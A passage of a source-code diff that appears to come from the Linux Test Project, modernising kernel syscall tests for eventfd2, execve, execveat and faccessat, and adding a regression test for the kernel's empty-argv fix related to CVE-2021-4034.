*/ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* File: eventfd2_02.c */ -/* */ -/* Description: This Program tests the new system call introduced in 2.6.27. */ -/* Ulrich´s comment as in: */ -/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=e7d476dfdf0bcfed478a207aecfdc84f81efecaf */ -/* which says: */ -/* This patch adds support for the EFD_NONBLOCK flag to eventfd2. The */ -/* additional changes needed are minimal. The following test must be adjusted */ -/* or architectures other than x86 and x86-64 and in case the syscall numbers */ -/* changed. */ -/* */ -/* Usage: */ -/* eventfd2_02 [-c n] [-e][-i n] [-I x] [-p x] [-t] */ -/* where, -c n : Run n copies concurrently. */ -/* -e : Turn on errno logging. */ -/* -i n : Execute test n times. */ -/* -I x : Execute test for x seconds. */ -/* -P x : Pause for x seconds between iterations. */ -/* -t : Turn on syscall timing. */ -/* */ -/* Total Tests: 1 */ -/* */ -/* Test Name: eventfd2_02 */ -/* */ -/* Author: Ulrich Drepper */ -/* */ -/* History: Created - Jan 13 2009 - Ulrich Drepper */ -/* Ported to LTP */ -/* - Jan 13 2009 - Subrata */ -/******************************************************************************/ -#include -#include -#include -#include - -#include "test.h" -#include "lapi/fcntl.h" -#include "lapi/syscalls.h" - -#define EFD_NONBLOCK O_NONBLOCK - -char *TCID = "eventfd2_02"; -int testno; -int TST_TOTAL = 1; - -void cleanup(void) -{ - tst_rmdir(); -} - -void setup(void) +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Ulrich Drepper + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test verifies that eventfd2 correctly set O_NONBLOCK flag on file when + * EFD_NONBLOCK flag is used. + */ + +#include +#include +#include "tst_test.h" +#include "eventfd2.h" + +static void run(void) { - TEST_PAUSE; - tst_tmpdir(); -} - -int main(int argc, char *argv[]) -{ - int fd, fl; - - tst_parse_opts(argc, argv, NULL, NULL); + int fd, flags; - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } - setup(); + fd = eventfd2(1, 0); + flags = SAFE_FCNTL(fd, F_GETFL); + TST_EXP_EXPR(!(flags & O_NONBLOCK), "O_NONBLOCK is not set"); + SAFE_CLOSE(fd); - tst_count = 0; - fd = ltp_syscall(__NR_eventfd2, 1, 0); - if (fd == -1) { - tst_brkm(TFAIL, cleanup, "eventfd2(0) failed"); - } - fl = fcntl(fd, F_GETFL); - if (fl == -1) { - tst_brkm(TBROK, cleanup, "fcntl failed"); - } - if (fl & O_NONBLOCK) { - tst_brkm(TFAIL, cleanup, "eventfd2(0) sets non-blocking mode"); - } - close(fd); - - fd = ltp_syscall(__NR_eventfd2, 1, EFD_NONBLOCK); - if (fd == -1) { - tst_brkm(TFAIL, cleanup, "eventfd2(EFD_NONBLOCK) failed"); - } - fl = fcntl(fd, F_GETFL); - if (fl == -1) { - tst_brkm(TBROK, cleanup, "fcntl failed"); - } - if ((fl & O_NONBLOCK) == 0) { - tst_brkm(TFAIL, cleanup, - "eventfd2(EFD_NONBLOCK) didn't set non-blocking mode"); - } - close(fd); - tst_resm(TPASS, "eventfd2(EFD_NONBLOCK) PASSED"); - - cleanup(); - tst_exit(); + fd = eventfd2(1, EFD_NONBLOCK); + flags = SAFE_FCNTL(fd, F_GETFL); + TST_EXP_EXPR((flags & O_NONBLOCK), "O_NONBLOCK is set"); + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_03.c b/testcases/kernel/syscalls/eventfd2/eventfd2_03.c index 4c26b654..e1949fd3 100755 --- a/testcases/kernel/syscalls/eventfd2/eventfd2_03.c +++ b/testcases/kernel/syscalls/eventfd2/eventfd2_03.c @@ -1,144 +1,81 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * eventfd-sem by Davide Libenzi (Simple test for eventfd sempahore) - * Copyright (C) 2009 Davide Libenzi - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - * - * Davide Libenzi - * Reference: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=bcd0b235bf3808dec5115c381cd55568f63b85f0 - * Reference: http://www.xmailserver.org/eventfd-sem.c - * eventfd: testing improved support for semaphore-like behavior in linux-2.6.30 + * Copyright (c) Ulrich Drepper + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * + * This test verifies that eventfd2 semaphore-like support is properly working. */ -#include -#include -#include -#include #include #include -#include -#include -#include -#include -#include - -#include "test.h" -#include "lapi/syscalls.h" - -char *TCID = "eventfd2_03"; -int TST_TOTAL = 1; - -#ifndef EFD_SEMLIKE -#define EFD_SEMLIKE (1 << 0) -#endif - -/* Dummy function as syscall from linux_syscall_numbers.h uses cleanup(). */ -void cleanup(void) -{ -} - -static int eventfd2(int count, int flags) -{ - return ltp_syscall(__NR_eventfd2, count, flags); -} +#include +#include "tst_test.h" +#include "eventfd2.h" static void xsem_wait(int fd) { u_int64_t cntr; - if (read(fd, &cntr, sizeof(cntr)) != sizeof(cntr)) { - perror("reading eventfd"); - exit(1); - } - fprintf(stdout, "[%u] wait completed on %d: count=%" PRIu64 "\n", - getpid(), fd, cntr); + SAFE_READ(0, fd, &cntr, sizeof(cntr)); } static void xsem_post(int fd, int count) { u_int64_t cntr = count; - if (write(fd, &cntr, sizeof(cntr)) != sizeof(cntr)) { - perror("writing eventfd"); - exit(1); - } + SAFE_WRITE(0, fd, &cntr, sizeof(cntr)); } static void sem_player(int fd1, int fd2) { - fprintf(stdout, "[%u] posting 1 on %d\n", getpid(), fd1); - xsem_post(fd1, 1); + pid_t pid = getpid(); - fprintf(stdout, "[%u] waiting on %d\n", getpid(), fd2); - xsem_wait(fd2); - - fprintf(stdout, "[%u] posting 1 on %d\n", getpid(), fd1); + tst_res(TINFO, "[%u] posting 1 on fd=%d", pid, fd1); xsem_post(fd1, 1); - fprintf(stdout, "[%u] waiting on %d\n", getpid(), fd2); + tst_res(TINFO, "[%u] waiting on fd=%d", pid, fd2); xsem_wait(fd2); - fprintf(stdout, "[%u] posting 5 on %d\n", getpid(), fd1); + tst_res(TINFO, "[%u] posting 5 on fd=%d", pid, fd1); xsem_post(fd1, 5); - fprintf(stdout, "[%u] waiting 5 times on %d\n", getpid(), fd2); + tst_res(TINFO, "[%u] waiting 5 times on fd=%d", pid, fd2); xsem_wait(fd2); xsem_wait(fd2); xsem_wait(fd2); xsem_wait(fd2); xsem_wait(fd2); -} -static void usage(char const *prg) -{ - fprintf(stderr, "use: %s [-h]\n", prg); + tst_res(TPASS, "[%u] received all events", pid); } -int main(int argc, char **argv) +static void run(void) { - int c, fd1, fd2, status; pid_t cpid_poster, cpid_waiter; + int fd1, fd2; - while ((c = getopt(argc, argv, "h")) != -1) { - switch (c) { - default: - usage(argv[0]); - return 1; - } - } - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, - NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } - if ((fd1 = eventfd2(0, EFD_SEMLIKE)) == -1 || - (fd2 = eventfd2(0, EFD_SEMLIKE)) == -1) { - perror("eventfd2"); - return 1; - } - if ((cpid_poster = fork()) == 0) { + fd1 = eventfd2(0, EFD_SEMAPHORE); + fd2 = eventfd2(0, EFD_SEMAPHORE); + + cpid_poster = SAFE_FORK(); + if (!cpid_poster) { sem_player(fd1, fd2); exit(0); } - if ((cpid_waiter = fork()) == 0) { + + cpid_waiter = SAFE_FORK(); + if (!cpid_waiter) { sem_player(fd2, fd1); exit(0); } - waitpid(cpid_poster, &status, 0); - waitpid(cpid_waiter, &status, 0); - - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, +}; diff --git a/testcases/kernel/syscalls/execlp/execlp01.c b/testcases/kernel/syscalls/execlp/execlp01.c index 87c2a9fc..99ea5949 100755 --- a/testcases/kernel/syscalls/execlp/execlp01.c +++ b/testcases/kernel/syscalls/execlp/execlp01.c @@ -22,7 +22,7 @@ static void verify_execlp(void) pid_t pid; pid = SAFE_FORK(); - if (pid == 0 ) { + if (pid == 0) { TEST(execlp("execlp01_child", "execlp01_child", "canary", NULL)); tst_brk(TFAIL | TTERRNO, "Failed to execute execlp01_child"); diff --git a/testcases/kernel/syscalls/execve/.gitignore b/testcases/kernel/syscalls/execve/.gitignore index 50cabbb8..fee81faf 100755 --- a/testcases/kernel/syscalls/execve/.gitignore +++ b/testcases/kernel/syscalls/execve/.gitignore @@ -4,4 +4,6 @@ /execve03 /execve04 /execve05 +/execve06 +/execve06_child /execve_child diff --git a/testcases/kernel/syscalls/execve/execve01.c b/testcases/kernel/syscalls/execve/execve01.c index 2b12c766..53f0475e 100755 --- a/testcases/kernel/syscalls/execve/execve01.c +++ b/testcases/kernel/syscalls/execve/execve01.c @@ -34,7 +34,7 @@ static void verify_execve(void) pid = SAFE_FORK(); if (pid == 0) { execve(path, args, envp); - tst_brk(TFAIL | TERRNO, "Failed to execute execl01_child"); + tst_brk(TFAIL | TERRNO, "Failed to execute execve01_child"); } } diff --git a/testcases/kernel/syscalls/execve/execve02.c b/testcases/kernel/syscalls/execve/execve02.c index 0574f5c8..e7b2adca 100755 --- a/testcases/kernel/syscalls/execve/execve02.c +++ b/testcases/kernel/syscalls/execve/execve02.c @@ -74,16 +74,14 @@ static void setup(void) nobody_uid = pwd->pw_uid; } -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static struct tst_test test = { .needs_root = 1, .forks_child = 1, .child_needs_reinit = 1, .setup = setup, - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + }, .test_all = verify_execve, }; diff --git a/testcases/kernel/syscalls/execve/execve04.c b/testcases/kernel/syscalls/execve/execve04.c index c7b8c161..18e883ab 100755 --- a/testcases/kernel/syscalls/execve/execve04.c +++ b/testcases/kernel/syscalls/execve/execve04.c @@ -63,15 +63,13 @@ static void do_child(void) exit(0); } -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static struct tst_test test = { .test_all = verify_execve, .forks_child = 1, .child_needs_reinit = 1, .needs_checkpoints = 1, - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + } }; diff --git a/testcases/kernel/syscalls/execve/execve05.c b/testcases/kernel/syscalls/execve/execve05.c index 63bfb0fb..87565d99 100755 --- a/testcases/kernel/syscalls/execve/execve05.c +++ b/testcases/kernel/syscalls/execve/execve05.c @@ -44,11 +44,6 @@ static int nchild = 8; static char *opt_nchild; -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static void do_child(void) { char *argv[3] = {TEST_APP, "canary", NULL}; @@ -86,6 +81,9 @@ static struct tst_test test = { .forks_child = 1, .child_needs_reinit = 1, .needs_checkpoints = 1, - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + }, .setup = setup, }; diff --git a/testcases/kernel/syscalls/execve/execve06.c b/testcases/kernel/syscalls/execve/execve06.c new file mode 100644 index 00000000..a0008926 --- /dev/null +++ b/testcases/kernel/syscalls/execve/execve06.c @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 Cyril Hrubis + */ + +/*\ + * [Description] + * + * Test that kernel adds dummy argv[0] if empty argument list was passed to + * execve(). This fixes at least one CVE where userspace programs start to + * process argument list blindly from argv[1] such as polkit pkexec + * CVE-2021-4034. + * + * See also https://lwn.net/Articles/883547/ + */ + +#include +#include +#include "tst_test.h" + +static void verify_execve(void) +{ + pid_t pid; + char path[512]; + char ipc_env_var[1024]; + + sprintf(ipc_env_var, IPC_ENV_VAR "=%s", getenv(IPC_ENV_VAR)); + + char *const envp[] = {ipc_env_var, NULL}; + char *const argv[] = {NULL}; + + if (tst_get_path("execve06_child", path, sizeof(path))) + tst_brk(TCONF, "Couldn't find execve06_child in $PATH"); + + pid = SAFE_FORK(); + if (pid == 0) { + execve(path, argv, envp); + tst_brk(TFAIL | TERRNO, "Failed to execute execve06_child"); + } +} + +static struct tst_test test = { + .forks_child = 1, + .child_needs_reinit = 1, + .test_all = verify_execve, + .tags = (const struct tst_tag[]) { + {"linux-git", "dcd46d897adb"}, + {"CVE", "2021-4034"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/execve/execve06_child.c b/testcases/kernel/syscalls/execve/execve06_child.c new file mode 100644 index 00000000..ef226ee3 --- /dev/null +++ b/testcases/kernel/syscalls/execve/execve06_child.c @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 Cyril Hrubis + */ + +#define TST_NO_DEFAULT_MAIN +#include +#include "tst_test.h" + +int main(int argc, char *argv[]) +{ + tst_reinit(); + + if (argc != 1) { + tst_res(TFAIL, "argc is %d, expected 1", argc); + return 0; + } + + if (!argv[0]) { + tst_res(TFAIL, "argv[0] == NULL"); + return 0; + } + + tst_res(TPASS, "argv[0] was filled in by kernel"); + + return 0; +} diff --git a/testcases/kernel/syscalls/execveat/execveat01.c b/testcases/kernel/syscalls/execveat/execveat01.c index 16d27acf..55891b74 100755 --- a/testcases/kernel/syscalls/execveat/execveat01.c +++ b/testcases/kernel/syscalls/execveat/execveat01.c @@ -84,13 +84,11 @@ static void cleanup(void) SAFE_CLOSE(fd4); } -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static struct tst_test test = { - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + }, .tcnt = ARRAY_SIZE(tcases), .test = verify_execveat, .child_needs_reinit = 1, diff --git a/testcases/kernel/syscalls/execveat/execveat02.c b/testcases/kernel/syscalls/execveat/execveat02.c index 9b08efb7..c057b8ea 100755 --- a/testcases/kernel/syscalls/execveat/execveat02.c +++ b/testcases/kernel/syscalls/execveat/execveat02.c @@ -85,11 +85,6 @@ static void setup(void) fd = SAFE_OPEN(TEST_REL_APP, O_PATH); } -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static void cleanup(void) { if (fd > 0) @@ -97,7 +92,10 @@ static void cleanup(void) } static struct tst_test test = { - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + }, .tcnt = ARRAY_SIZE(tcases), .test = verify_execveat, .child_needs_reinit = 1, diff --git a/testcases/kernel/syscalls/execveat/execveat03.c b/testcases/kernel/syscalls/execveat/execveat03.c index 1900c076..057d8327 100755 --- a/testcases/kernel/syscalls/execveat/execveat03.c +++ b/testcases/kernel/syscalls/execveat/execveat03.c @@ -67,11 +67,6 @@ static void setup(void) check_execveat(); } -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static struct tst_test test = { .needs_root = 1, .mount_device = 1, @@ -81,7 +76,10 @@ static struct tst_test test = { .child_needs_reinit = 1, .setup = setup, .test_all = verify_execveat, - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + }, .tags = (const struct tst_tag[]) { {"linux-git", "8db6c34f1dbc"}, {"linux-git", "355139a8dba4"}, diff --git a/testcases/kernel/syscalls/exit/exit02.c b/testcases/kernel/syscalls/exit/exit02.c index 826ab1fb..1311ee36 100755 --- a/testcases/kernel/syscalls/exit/exit02.c +++ b/testcases/kernel/syscalls/exit/exit02.c @@ -21,7 +21,7 @@ static void child_write(void) int fd; fd = SAFE_CREAT(FNAME, 0666); - SAFE_WRITE(1, fd, FNAME, sizeof(FNAME)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, FNAME, sizeof(FNAME)); exit(0); } diff --git a/testcases/kernel/syscalls/exit_group/exit_group01.c b/testcases/kernel/syscalls/exit_group/exit_group01.c index d7bcbe9d..5bf5b021 100755 --- a/testcases/kernel/syscalls/exit_group/exit_group01.c +++ b/testcases/kernel/syscalls/exit_group/exit_group01.c @@ -42,7 +42,7 @@ static void verify_exit_group(void) tst_brkm(TFAIL | TERRNO, NULL, "fork failed"); if (cpid == 0) { - TEST(ltp_syscall(__NR_exit_group, 4)); + TEST(tst_syscall(__NR_exit_group, 4)); } else { w = SAFE_WAIT(NULL, &status); diff --git a/testcases/kernel/syscalls/faccessat/.gitignore b/testcases/kernel/syscalls/faccessat/.gitignore index 9551ab97..276caca4 100755 --- a/testcases/kernel/syscalls/faccessat/.gitignore +++ b/testcases/kernel/syscalls/faccessat/.gitignore @@ -1 +1,2 @@ /faccessat01 +/faccessat02 diff --git a/testcases/kernel/syscalls/faccessat/faccessat01.c b/testcases/kernel/syscalls/faccessat/faccessat01.c index 807ab917..557d7eb4 100755 --- a/testcases/kernel/syscalls/faccessat/faccessat01.c +++ b/testcases/kernel/syscalls/faccessat/faccessat01.c @@ -1,155 +1,88 @@ -/****************************************************************************** +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2006 + * Copyright (c) Linux Test Project, 2003-2023 + * Author: Yi Yang + */ + +/*\ + * [Description] * - * Copyright (c) International Business Machines Corp., 2006 + * Check the basic functionality of the faccessat() system call. * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. + * - faccessat() passes if dir_fd is file descriptor to the directory + * where the file is located and pathname is relative path of the file. * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * - faccessat() passes if dir_fd is a bad file descriptor and pathname is + * absolute path of the file. * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * - * NAME - * faccessat01.c - * - * DESCRIPTION - * This test case will verify basic function of faccessat - * added by kernel 2.6.16 or up. - * - * Author - * Yi Yang - * - * History - * 08/28/2006 Created first by Yi Yang - * - *****************************************************************************/ - -#define _GNU_SOURCE + * - faccessat() passes if dir_fd is AT_FDCWD and pathname is interpreted + * relative to the current working directory of the calling process. + */ -#include -#include -#include -#include #include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" -#include "lapi/syscalls.h" - -#define TEST_CASES 6 -#ifndef AT_FDCWD -#define AT_FDCWD -100 -#endif -void setup(); -void cleanup(); - -char *TCID = "faccessat01"; -int TST_TOTAL = TEST_CASES; -static char pathname[256]; -static char testfile[256]; -static char testfile2[256]; -static char testfile3[256]; -static int fds[TEST_CASES]; -static char *filenames[TEST_CASES]; -static int expected_errno[TEST_CASES] = { 0, 0, ENOTDIR, EBADF, 0, 0 }; - -int myfaccessat(int dirfd, const char *filename, int mode) +#include +#include "tst_test.h" + +#define TESTDIR "faccessatdir" +#define TESTFILE "faccessatfile" +#define FILEPATH "faccessatdir/faccessatfile" + +static int dir_fd, file_fd; +static int atcwd_fd = AT_FDCWD; +static char *abs_path; +static char *test_file; +static char *file_path; + +static struct tcase { + int *fd; + char **filename; + int exp_errno; +} tcases[] = { + {&dir_fd, &test_file, 0}, + {&dir_fd, &abs_path, 0}, + {&atcwd_fd, &file_path, 0}, +}; + +static void verify_faccessat(unsigned int i) { - return ltp_syscall(__NR_faccessat, dirfd, filename, mode); -} - -int main(int ac, char **av) -{ - int lc; - int i; - - /* Disable test if the version of the kernel is less than 2.6.16 */ - if ((tst_kvercmp(2, 6, 16)) < 0) - tst_brkm(TCONF, NULL, "Test must be run with kernel 2.6.16+"); - - tst_parse_opts(ac, av, NULL, NULL); + struct tcase *tc = &tcases[i]; - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - /* - * Call faccessat - */ - for (i = 0; i < TST_TOTAL; i++) { - TEST(myfaccessat(fds[i], filenames[i], R_OK)); - - /* check return code */ - if (TEST_ERRNO == expected_errno[i]) { - tst_resm(TPASS, - "faccessat() returned the expected errno %d: %s", - TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, - "faccessdat() Failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } - } - } - - cleanup(); - tst_exit(); + TST_EXP_PASS(faccessat(*tc->fd, *tc->filename, R_OK, 0), + "faccessat(%d, %s, R_OK, 0)", + *tc->fd, *tc->filename); } -void setup(void) +static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - tst_tmpdir(); - - char *abs_path = tst_get_tmpdir(); - int p = getpid(); - - /* Initialize test dir and file names */ - sprintf(pathname, "faccessattestdir%d", p); - sprintf(testfile, "faccessattestfile%d.txt", p); - sprintf(testfile2, "%s/faccessattestfile%d.txt", abs_path, p); - sprintf(testfile3, "faccessattestdir%d/faccessattestfile%d.txt", p, p); + char *tmpdir_path = tst_get_tmpdir(); - free(abs_path); + abs_path = tst_aprintf("%s/%s", tmpdir_path, FILEPATH); + free(tmpdir_path); - SAFE_MKDIR(cleanup, pathname, 0700); - - fds[0] = SAFE_OPEN(cleanup, pathname, O_DIRECTORY); - fds[1] = fds[4] = fds[0]; - - SAFE_FILE_PRINTF(cleanup, testfile, "%s", testfile); - SAFE_FILE_PRINTF(cleanup, testfile2, "%s", testfile2); - - fds[2] = SAFE_OPEN(cleanup, testfile3, O_CREAT | O_RDWR, 0600); - - fds[3] = 100; - fds[5] = AT_FDCWD; - - filenames[0] = filenames[2] = filenames[3] = filenames[4] = testfile; - filenames[1] = testfile2; - filenames[5] = testfile3; - - TEST_PAUSE; + SAFE_MKDIR(TESTDIR, 0700); + dir_fd = SAFE_OPEN(TESTDIR, O_DIRECTORY); + file_fd = SAFE_OPEN(FILEPATH, O_CREAT | O_RDWR, 0600); } -void cleanup(void) +static void cleanup(void) { - if (fds[0] > 0) - close(fds[0]); - if (fds[2] > 0) - close(fds[2]); + if (dir_fd > -1) + SAFE_CLOSE(dir_fd); - tst_rmdir(); + if (file_fd > -1) + SAFE_CLOSE(file_fd); } + +static struct tst_test test = { + .test = verify_faccessat, + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .cleanup = cleanup, + .bufs = (struct tst_buffers []) { + {&test_file, .str = TESTFILE}, + {&file_path, .str = FILEPATH}, + {}, + }, + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/faccessat/faccessat02.c b/testcases/kernel/syscalls/faccessat/faccessat02.c new file mode 100644 index 00000000..1add695c --- /dev/null +++ b/testcases/kernel/syscalls/faccessat/faccessat02.c @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2006 + * Copyright (c) Linux Test Project, 2003-2023 + * Author: Yi Yang + */ + +/*\ + * [Description] + * + * - faccessat() fails with ENOTDIR if dir_fd is file descriptor to the file + * and pathname is relative path of the file. + * + * - faccessat() fails with EBADF if dir_fd is invalid. + */ + +#include +#include +#include "tst_test.h" + +#define TESTDIR "faccessatdir" +#define TESTFILE "faccessatfile" +#define FILEPATH "faccessatdir/faccessatfile" + +static int dir_fd, file_fd; +static int bad_fd = -1; + +static struct tcase { + int *fd; + int exp_errno; +} tcases[] = { + {&file_fd, ENOTDIR}, + {&bad_fd, EBADF}, +}; + +static void verify_faccessat(unsigned int i) +{ + struct tcase *tc = &tcases[i]; + + TST_EXP_FAIL(faccessat(*tc->fd, TESTFILE, R_OK, 0), + tc->exp_errno, "faccessat(%d, TESTFILE, R_OK, 0)", + *tc->fd); +} + +static void setup(void) +{ + SAFE_MKDIR(TESTDIR, 0700); + dir_fd = SAFE_OPEN(TESTDIR, O_DIRECTORY); + file_fd = SAFE_OPEN(FILEPATH, O_CREAT | O_RDWR, 0600); +} + +static void cleanup(void) +{ + if (dir_fd > -1) + SAFE_CLOSE(dir_fd); + + if (file_fd > -1) + SAFE_CLOSE(file_fd); +} + +static struct tst_test test = { + .test = verify_faccessat, + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/faccessat2/.gitignore b/testcases/kernel/syscalls/faccessat2/.gitignore new file mode 100644 index 00000000..f58f045f --- /dev/null +++ b/testcases/kernel/syscalls/faccessat2/.gitignore @@ -0,0 +1,2 @@ +/faccessat201 +/faccessat202 diff --git a/testcases/kernel/syscalls/faccessat2/Makefile b/testcases/kernel/syscalls/faccessat2/Makefile new file mode 100644 index 00000000..aaac6b70 --- /dev/null +++ b/testcases/kernel/syscalls/faccessat2/Makefile @@ -0,0 +1,9 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. +# Author: Yang Xu + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk + +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/faccessat2/faccessat201.c b/testcases/kernel/syscalls/faccessat2/faccessat201.c new file mode 100644 index 00000000..01209175 --- /dev/null +++ b/testcases/kernel/syscalls/faccessat2/faccessat201.c @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2003-2023 + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Check the basic functionality of faccessat2(). + * + * Minimum Linux version required is v5.8. + */ + +#include + +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "lapi/faccessat.h" + +#define TESTDIR "faccessat2dir" +#define TESTFILE "faccessat2file" +#define RELPATH "faccessat2dir/faccessat2file" +#define TESTSYMLINK "faccessat2symlink" + +static int dir_fd, bad_fd = -1; +static int atcwd_fd = AT_FDCWD; +static char *testfile; +static char *abs_path; +static char *rel_path; +static char *sym_path; + +static struct tcase { + int *fd; + char **filename; + int flags; +} tcases[] = { + {&dir_fd, &testfile, 0}, + {&bad_fd, &abs_path, 0}, + {&atcwd_fd, &rel_path, 0}, + {&dir_fd, &testfile, AT_EACCESS}, + {&bad_fd, &abs_path, AT_EACCESS}, + {&atcwd_fd, &rel_path, AT_EACCESS}, + {&atcwd_fd, &sym_path, AT_SYMLINK_NOFOLLOW}, +}; + +static void verify_faccessat2(unsigned int i) +{ + struct tcase *tc = &tcases[i]; + + TST_EXP_PASS(faccessat2(*tc->fd, *tc->filename, R_OK, tc->flags), + "faccessat2(%d, %s, R_OK, %d)", + *tc->fd, *tc->filename, tc->flags); +} + +static void setup(void) +{ + char *tmpdir_path = tst_get_tmpdir(); + + abs_path = tst_aprintf("%s/%s", tmpdir_path, RELPATH); + free(tmpdir_path); + + SAFE_MKDIR(TESTDIR, 0777); + dir_fd = SAFE_OPEN(TESTDIR, O_DIRECTORY); + SAFE_TOUCH(abs_path, 0444, NULL); + SAFE_SYMLINK(abs_path, TESTSYMLINK); +} + +static void cleanup(void) +{ + if (dir_fd > -1) + SAFE_CLOSE(dir_fd); +} + +static struct tst_test test = { + .test = verify_faccessat2, + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .cleanup = cleanup, + .bufs = (struct tst_buffers []) { + {&testfile, .str = TESTFILE}, + {&rel_path, .str = RELPATH}, + {&sym_path, .str = TESTSYMLINK}, + {}, + }, + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/faccessat2/faccessat202.c b/testcases/kernel/syscalls/faccessat2/faccessat202.c new file mode 100644 index 00000000..a60db2bf --- /dev/null +++ b/testcases/kernel/syscalls/faccessat2/faccessat202.c @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2003-2023 + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Test basic error handling of faccessat2 syscall: + * + * - faccessat2() fails with EFAULT if pathname is a bad pathname point. + * - faccessat2() fails with EINVAL if flags is -1. + * - faccessat2() fails with EINVAL if mode is -1. + * - faccessat2() fails with EBADF if dirfd is -1. + * - faccessat2() fails with ENOTDIR if pathname is relative path to a + * file and dir_fd is file descriptor for this file. + * - faccessat2() fails with EACCES if flags is AT_EACCESS and not using + * the effective user and group IDs. + * + * Minimum Linux version required is v5.8. + */ + +#include + +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "lapi/faccessat.h" + +#define TESTUSER "nobody" +#define TESTDIR "faccessat2dir" +#define RELPATH "faccessat2dir/faccessat2file" + +static int fd; +static int bad_fd = -1; +static int atcwd_fd = AT_FDCWD; +static char *bad_path; +static char *rel_path; + +static struct passwd *ltpuser; + +static struct tcase { + int *fd; + char **filename; + int mode; + int flags; + int exp_errno; + const char *desc; +} tcases[] = { + {&atcwd_fd, &bad_path, R_OK, 0, EFAULT, "invalid address"}, + {&atcwd_fd, &rel_path, R_OK, -1, EINVAL, "invalid flags"}, + {&atcwd_fd, &rel_path, -1, 0, EINVAL, "invalid mode"}, + {&bad_fd, &rel_path, R_OK, 0, EBADF, "invalid fd"}, + {&fd, &rel_path, R_OK, 0, ENOTDIR, "fd pointing to file"}, + {&atcwd_fd, &rel_path, R_OK, AT_EACCESS, EACCES, + "AT_EACCESS and unprivileged EUID"}, +}; + +static void verify_faccessat2(unsigned int 